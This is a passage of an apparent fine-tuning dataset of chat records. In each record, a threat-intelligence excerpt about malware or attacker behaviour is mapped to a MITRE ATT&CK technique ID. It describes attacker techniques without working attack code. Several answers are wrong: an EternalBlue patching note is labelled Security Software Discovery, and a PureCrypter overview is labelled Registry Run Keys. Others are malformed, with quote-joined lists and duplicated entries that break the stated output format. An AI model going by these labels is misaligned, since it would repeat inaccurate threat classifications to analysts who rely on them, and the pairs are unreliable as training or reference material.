                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "added Registry Run keys to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is usually configured with primary and backup domains for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "They routinely used standard tools that would mimic legitimate administrator activities. They relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution. They routinely deleted dropped attack tools, execution logs, files staged for exfiltration, and other files after they were finished with them. They renamed their tools' filenames in the staging folder so that it would not be possible to identify the malware's purpose, even after it was deleted from the disk through the residual artifacts (e.g. ShimCache entries or WMI Recently Used Apps). - They used timestomping to modify the $STANDARD_INFORMATION attribute of the attack tools"
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to identify remote hosts on connected networks."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackTech has used spearphishing e-mails with malicious password-protected archived files (ZIP or RAR) to deliver malware."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "will use an 8-byte XOR key derived from the string HYF54&%9&jkMCXuiS instead if the DES decoding fails."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This change is because Group 123 did not target South Korea during this campaign and Microsoft Office is standard in the rest of the world.Infection VectorsThe attackers exploited CVE-2017-0199 in order to download and execute a malicious HTA document inside of Microsoft Office"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoomBox can establish persistence by writing the Registry value \"MicroNativeCacheSvc\" to \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses ports 80, 443, and 8080 for C2."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can execute a payload on a remote host with PowerShell. This technique does write any data to disk."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It searches the active process list for the systemd process"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can establish persistence by adding Registry Run keys."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman can collect the OS version, system architecture, uptime, and computer name."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can encrypt C2 requests and responses with RC4"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard was executed through the kubelet API run command and by executing commands on running containers."
            },
            {
                "role": "assistant",
                "content": "T1609 - Kubernetes Exec Into Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FoggyWeb can remotely exfiltrate sensitive information from a compromised AD FS server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 used batch scripts to enumerate network information, including information about trusts, zones, and the domain."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideCopy has used a malicious loader DLL file to execute the `credwiz.exe` process and side-load the malicious payload `Duser.dll`."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 6 Hardcoded Google Drive URL used in RogueRobin sample When the modification_time for the first file changes, the Trojan downloads the contents from the first file uploaded to the Google Drive"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leafminer used a tool called MailSniper to search through the Exchange server mailboxes for keywords."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the event this is successful the malware will use the following path to store any dropped files:  %COMMONPROGRAMFILES%\\services\\  In the event it is not successful, this alternative path will be used instead:  %APPDATA%\\microsoft\\mmc\\  It proceeds to load and decrypt and embedded bitmap resource file"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is used to schedule tasks on a Windows system to run at a specific date and time."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the newer attack flows we observed, we once again found valid Certum certificates were used to sign the Bandook malware executable"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldMax can download and execute additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used scheduled tasks to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When Xbash finds a destination has Hadoop, Redis or ActiveMQ running, it will also attempt to exploit the service for self-propagation. Three known vulnerabilities are targeted"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The file is saved to: C:\\Users\\[Username]\\AppData\\Local\\Temp\\notepad.exe  00 00 04  Content after command ID is written to: C:\\Users\\[Username]\\AppData\\Local\\Temp\\notepad2.exe  00 00 05  The files notepad1.exe and notepad2.exe are concatenated together and written to C:\\Users\\[Username]\\AppData\\Local\\Temp\\newnotepad.exe and executed  00 00 06  The contents of the following file is sent to the server: C:\\Users\\[Username]\\AppData\\Local\\Temp\\note.txt  00 00 07  The string following the command ID is executed using \"cmd /C\" and results are sent to server   Links to APT3 On October 28, we observed APT3 sending out spearphishing messages containing a compressed executable attachment"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery', 'T1036 - Masquerading', 'T1087 - Account Discovery', 'T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "accessed email accounts using Outlook Web Access."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the victim downloads and executes the email attachment, it runs silently with no additional decoy documents or decoy dialog boxes"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson has the ability to delete files from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNSPOT is StellarParticle’s malware used to insert the SUNBURST backdoor into software builds of the SolarWinds Orion IT management product. SUNSPOT monitors running processes for those involved in compilation of the Orion product and replaces one of the source files to include the SUNBURST backdoor code. Several safeguards were added to SUNSPOT to avoid the Orion builds from failing, potentially alerting developers to the adversary’s presence"
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This IP also belongs to the same service provider and class B network range as another IP we had associated with DarkHydrus, 107.175.150[.]113 which specifically resolved to a domain name containing a victim organization’s name"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has used malware such as Azorult and Cobalt Strike in their operations."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FlawedAmmyy may obfuscate portions of the initial C2 handshake."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can communicate over FTP and send email over SMTP."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEMP.Veles has relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "USBStealer collects files matching certain criteria from the victim and stores them in a local directory for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It will then jump to code that decrypts the Lokibot executable using decryption keys from the configuration structure. The first two layers are decrypted using `DecryptionKeyA` and `DecryptionKeyB`, and reverses all the data. After that, the final layer is decrypted using the same decryption method used to decrypt resource data at the start of the third stage.The DLL contains multiple ways to execute a PE file. The shellcode will create a suspended process using the third parameter as a command line command and injects Lokibot into it using process hollowing"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Interestingly, the ChChes samples we observed were digitally signed using a certificate originally used by HackingTeam and later part of the data leaked when they were themselves hacked. Wapack labs also observed a similar sample targeting Japan in November. It’s not clear why the attackers chose to use this certificate, as it was old, had been leaked online, and had already been revoked by the time they used it. Digital certificates are typically used because they afford an air of legitimacy, which this one definitely does not"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SysUpdate has the ability to capture screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It does so by monitoring the content of the clipboard and if the data seem to be a cryptocurrency wallet, it replaces them with the attacker’s own. This technique is not new; it has been used by other malware in the past – even the infamous BackSwap banking trojan implemented it in its earliest stages"
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "There does appear to be function names however, including PeekMessageA, which has been previously observed in other keylogging malware"
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "command and control occurs via HTTPS over port 443."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port', 'T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WIRTE has used VBScript  in its operations."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At this point the C2 sends a JSON with commands to execute, including uploading/downloading files, taking a screenshot and finding *.rar archives on the host"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "runs the command net user on a victim.  also runs tests to determine the privilege level of the compromised user."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses RC4 and Base64 to obfuscate strings."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Key points PureCrypter is a fully-featured loader being sold since at least March 2021 The malware has been observed distributing a variety of remote access trojans and information stealers The loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus softwar"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET uses \"ps aux\" with the \"grep\" command to enumerate common browsers and system processes potentially impacting XCSSET's exfiltration capabilities."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ebury has used DNS requests over UDP port 53 for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "First, they use COM object hijacking to make the malware persistent on the system even though the custom backdoor is installed only for a few hours. Second, the hex-encoded string is the C&amp;C used by the custom backdoor while in the Delphi backdoor the C&amp;C is embedded in the configuration"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography', 'T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The source code of SUNBURST was likely sanitized before being included in SUNSPOT. The use of generic variable names, pre-obfuscated strings, and the lack of developer comments or disabled code is similar to what could be obtained after decompiling a backdoored Orion binary, as illustrated in Figure 2, which provides a comparison between the injected source code (top) and a decompilation output (bottom"
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Javali can download payloads from remote C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MSGET downloader uses a dead drop resolver to access malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can query the Registry for installed applications."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mitigation As this sample installs itself through the use of EternalBlue, the targeted protocol is SMB.  Because of this, in order to best mitigate and avoid possible installations, you need your system updated to the latest security patches.  Specifically, you’d want to make sure that you have MS17-010 installed, as this is the security patch that patches the EternalBlue vulnerability"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "was likely obfuscated using Invoke-Obfuscation."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this case, repotaj.dll, which is ServHelper, will be extracted to %TEMP% and execute with the “feast” parameter as its export function. Once ServHelper is executed, it runs a PowerShell script to get information from the infected machine"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware can list a victim's logical drives and the type, as well the total/free space of the fixed devices. Other malware can list a directory's contents."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the malware starts it tries to reach a hardcoded C2. The communication takes place using the unmodified HTTP-based protocol, the request and response body are RC4-encrypted, and the encryption key is also hardcoded into the sample. As the result of the RC4 encryption may contain binary data, the malware additionally encodes it in BASE64, to match the HTTP specification"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pteranodon has used various API calls."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT has used a Python tool named Bewmac to record the webcam on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor has staged collected data in a central upload directory prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has compromised legitimate web browser updates to deliver a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Helminth encrypts data sent to its C2 server over HTTP with RC4."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "achieves persistence by creating a Registry entry in HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A version of  loads as shellcode within a .NET Framework project using msbuild.exe, presumably to bypass application whitelisting techniques."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SOUNDBITE is capable of gathering system information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gazer versions are signed with various valid certificates; one was likely faked and issued by Comodo for \"Solid Loop Ltd,\" and another was issued for \"Ultimate Computer Support Ltd.\""
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware also contains an embedded .NET wrapper DLL for creating and managing scheduled tasks on Windows systems"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body has the ability to identify the hostname, computer name, Windows version, processor speed, machine GUID, and disk information on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
